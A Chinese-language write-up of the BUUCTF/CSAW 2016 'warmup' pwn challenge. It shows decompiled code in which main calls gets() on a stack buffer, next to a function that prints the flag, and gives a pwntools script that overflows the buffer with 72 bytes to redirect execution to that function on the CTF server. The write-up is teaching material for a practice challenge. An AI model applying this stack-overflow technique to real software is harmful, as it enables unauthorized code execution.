BUUCTF pwn warmup_csaw2016 wp
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF pwn warmup_csaw2016 wp相关的知识,希望对你有一定的参考价值。
一、考点
栈溢出
二、题目
这是buuctf中的一道简单的pwn,题目见下图:
三、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
3、IDA静态分析
拖入IDA进行静态分析,主函数为:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
查看主函数中的sub_40060D函数:
int sub_40060D()
{
return system("cat flag.txt");
}
可判断,劫持控制流到该函数可在终端看到flag。
4、编写exp
根据IDA中的分析,gets函数将用户输入的字符覆盖到v5,该变量为rbp-40h。exp的payload应在覆盖40h后,再覆盖8字节rbp,而后填入sub_40060D的虚拟地址。
from pwn import *
r = remote('node3.buuoj.cn', 29608)
r.recvuntil('Up-\\n')
r.recvuntil('0d\\n')
r.recvuntil('>')
payload = 'a'*72 + p64(0x40060d)
r.sendline(payload)
r.interactive()
运行该脚本后,得到flag:
以上是关于BUUCTF pwn warmup_csaw2016 wp的主要内容,如果未能解决你的问题,请参考以下文章